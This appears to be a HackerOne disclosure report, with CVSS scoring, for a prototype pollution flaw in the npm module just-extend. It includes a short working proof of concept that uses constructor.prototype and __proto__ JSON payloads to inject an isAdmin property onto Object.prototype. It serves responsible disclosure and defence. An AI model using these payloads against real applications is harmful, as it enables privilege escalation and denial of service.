Lucene search

K
hackeroneAsgerfH1:430291
HistoryOct 29, 2018 - 5:03 p.m.

Node.js third-party modules: Prototype pollution attack in just-extend

2018-10-2917:03:52
asgerf
hackerone.com
24

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

69.5%

I would like to report a prototype pollution vulnerability in just-extend
It allows an attacker to inject properties on Object.prototype.

Module

module name: just-extendversion:2.1.0, and 3.0.0npm page: https://www.npmjs.com/package/just-extend

Module Description

Part of a library of zero-dependency npm modules that do just do one thing.
Guilt-free utilities for every occasion.

Module Stats

723,414 downloads in the last week

Vulnerability

Vulnerability Description

This is a variant of this vulnerability:
https://hackerone.com/reports/310443

The functions just-extend can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.

Steps To Reproduce:

Craft an object of form {constructor: {prototype: {...}}} or {__proto__: {...}} and send it to just-extend.

var extend = require('just-extend');

var payload1 = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
extend(true, {}, payload1);
console.log({}.isAdmin); // true

var payload2 = JSON.parse('{"__proto__": {"isAdmin2": true}}');
extend(true, {}, payload2);
console.log({}.isAdmin2); // true

Wrap up

  • I contacted the maintainer to let them know: [Y]
  • I opened an issue in the related repository: [N]

Impact

Denial of service, possibly more depending on the application.
See https://hackerone.com/reports/310443

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

69.5%